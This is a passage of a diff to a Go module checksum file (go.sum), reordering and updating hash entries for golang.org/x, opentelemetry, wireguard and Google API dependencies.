h1:7iP2uCb7sGddAr30RRS6xjKy7AZ2JtTOPA3oolgVSw8= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0/go.mod h1:c7hN3ddxs/z6q9xwvfLPk+UHlWRQyaeR1LdgfL/66l0= -go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms= -go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g= -go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0 h1:5gn2urDL/FBnK8OkCfD1j3/ER79rUuTYmCvlXBKeYL8= -go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0/go.mod h1:0fBG6ZJxhqByfFZDwSwpZGzJU671HkwpWaNe2t4VUPI= -go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g= -go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc= -go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8= -go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE= -go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw= -go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg= -go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw= -go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA= -go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A= -go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= -go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI= -go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= -go4.org/mem v0.0.0-20240501181205-ae6ca9944745 h1:Tl++JLUCe4sxGu8cTpDzRLd3tN7US4hOxG5YpKCzkek= +github.com/zeebo/xxh3 v1.1.0 h1:s7DLGDK45Dyfg7++yxI0khrfwq9661w9EN78eP/UZVs= go4.org/mem v0.0.0-20240501181205-ae6ca9944745/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g= -go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M= +go4.org/mem v0.0.0-20240501181205-ae6ca9944745 h1:Tl++JLUCe4sxGu8cTpDzRLd3tN7US4hOxG5YpKCzkek= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= +go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -844,28 +819,30 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= -golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= +golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA= +golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4= golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q= +golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= +golang.org/x/exp/typeparams v0.0.0-20240314144324-c7f7c6466f7f/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= +golang.org/x/exp/typeparams v0.0.0-20240314144324-c7f7c6466f7f h1:phY1HzDcf18Aq9A8KkmRtY9WvOFIxN8wgfvy6Zm1DV8= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa h1:Zt3DZoOFFYkKhDT3v7Lm9FDMEV06GpzjG2jrqW+QTE0= golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa/go.mod h1:K79w1Vqn7PoiZn+TkNpx3BUWUQksGO3JcVX6qIjytmA= -golang.org/x/exp/typeparams v0.0.0-20240314144324-c7f7c6466f7f h1:phY1HzDcf18Aq9A8KkmRtY9WvOFIxN8wgfvy6Zm1DV8= -golang.org/x/exp/typeparams v0.0.0-20240314144324-c7f7c6466f7f/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= -golang.org/x/image v0.27.0 h1:C8gA4oWU/tKkdCfYT6T2u4faJu3MeNS5O8UPWlPF61w= +golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa h1:Zt3DZoOFFYkKhDT3v7Lm9FDMEV06GpzjG2jrqW+QTE0= golang.org/x/image v0.27.0/go.mod h1:xbdrClrAUway1MUTEZDq9mz/UpRwYAkFFNUslZtcB+g= +golang.org/x/image v0.27.0 h1:C8gA4oWU/tKkdCfYT6T2u4faJu3MeNS5O8UPWlPF61w= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/mod v0.35.0 h1:Ww1D637e6Pg+Zb2KrWfHQUnH2dQRLBQyAtpr/haaJeM= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.35.0/go.mod h1:+GwiRhIInF8wPm+4AoT6L0FA1QWAad3OMdTRx4tFYlU= +golang.org/x/mod v0.35.0 h1:Ww1D637e6Pg+Zb2KrWfHQUnH2dQRLBQyAtpr/haaJeM= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20171115151908-9dfe39835686/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -882,16 +859,18 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/net v0.53.0 h1:d+qAbo5L0orcWAr0a9JweQpjXF19LMXJE8Ey7hwOdUA= +golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw= +golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0= golang.org/x/net v0.53.0/go.mod h1:JvMuJH7rrdiCfbeHoo3fCQU24Lf5JJwT9W3sJFulfgs= +golang.org/x/net v0.53.0 h1:d+qAbo5L0orcWAr0a9JweQpjXF19LMXJE8Ey7hwOdUA= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q= +golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= golang.org/x/sync v0.0.0-20171101214715-fd80eb99c8f6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -900,13 +879,13 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= -golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190204203706-41f3e6584952/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -938,43 +917,47 @@ golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= -golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY= +golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A= +golang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU= golang.org/x/term v0.42.0/go.mod h1:Dq/D+snpsbazcBG5+F9Q1n2rXV8Ma+71xEjTRufARgY= +golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA= +golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38= +golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= -golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc= -golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38= -golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI= golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4= +golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -986,138 +969,165 @@ golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roY golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= -golang.org/x/tools v0.44.0 h1:UP4ajHPIcuMjT1GqzDWRlalUEoY+uzoZKnhOjbIPD2c= golang.org/x/tools v0.44.0/go.mod h1:KA0AfVErSdxRZIsOVipbv3rQhVXTnlU6UhKxHd1seDI= +golang.org/x/tools v0.44.0 h1:UP4ajHPIcuMjT1GqzDWRlalUEoY+uzoZKnhOjbIPD2c= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg= golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI= -golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb h1:whnFRlWMcXI9d+ZbWg+4sHnLp52d5yiIPUxMBSt4X9A= +golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg= golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb/go.mod h1:rpwXGsirqLqN2L0JDJQlwOboGHmptD5ZD6T2VmcqhTw= -golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10 h1:3GDAcqdIg1ozBNLgPy4SLT84nfcBjr6rhGtXYtrkWLU= +golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb h1:whnFRlWMcXI9d+ZbWg+4sHnLp52d5yiIPUxMBSt4X9A= golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10/go.mod h1:T97yPqesLiNrOYxkwmhMI0ZIlJDm+p0PMR8eRVeR5tQ= -golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE= +golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10 h1:3GDAcqdIg1ozBNLgPy4SLT84nfcBjr6rhGtXYtrkWLU= golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prrtqm+REGFifP60hI= -gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk= +golang.zx2c4.com/wireguard/windows v0.5.3 h1:On6j2Rpn3OEMXqBq00QEDC7bWSZrPIHKIus8eIuExIE= +go.mau.fi/util v0.9.3/go.mod h1:krWWfBM1jWTb5f8NCa2TLqWMQuM81X7TGQjhMjBeXmQ= +go.mau.fi/util v0.9.3 h1:aqNF8KDIN8bFpFbybSk+mEBil7IHeBwlujfyTnvP0uU= gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E= -google.golang.org/api v0.269.0 h1:qDrTOxKUQ/P0MveH6a7vZ+DNHxJQjtGm/uvdbdGXCQg= +gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk= google.golang.org/api v0.269.0/go.mod h1:N8Wpcu23Tlccl0zSHEkcAZQKDLdquxK+l9r2LkwAauE= +google.golang.org/api v0.269.0 h1:qDrTOxKUQ/P0MveH6a7vZ+DNHxJQjtGm/uvdbdGXCQg= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine/v2 v2.0.6 h1:LvPZLGuchSBslPBp+LAhihBeGSiRh1myRoYK4NtuBIw= google.golang.org/appengine/v2 v2.0.6/go.mod h1:WoEXGoXNfa0mLvaH5sV3ZSGXwVmy8yf7Z1JKf3J3wLI= +google.golang.org/appengine/v2 v2.0.6 h1:LvPZLGuchSBslPBp+LAhihBeGSiRh1myRoYK4NtuBIw= +google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171/go.mod h1:M5krXqk4GhBKvB596udGL3UyjL4I1+cTbK0orROM9ng= +google.golang.org/genproto/googleapis/api 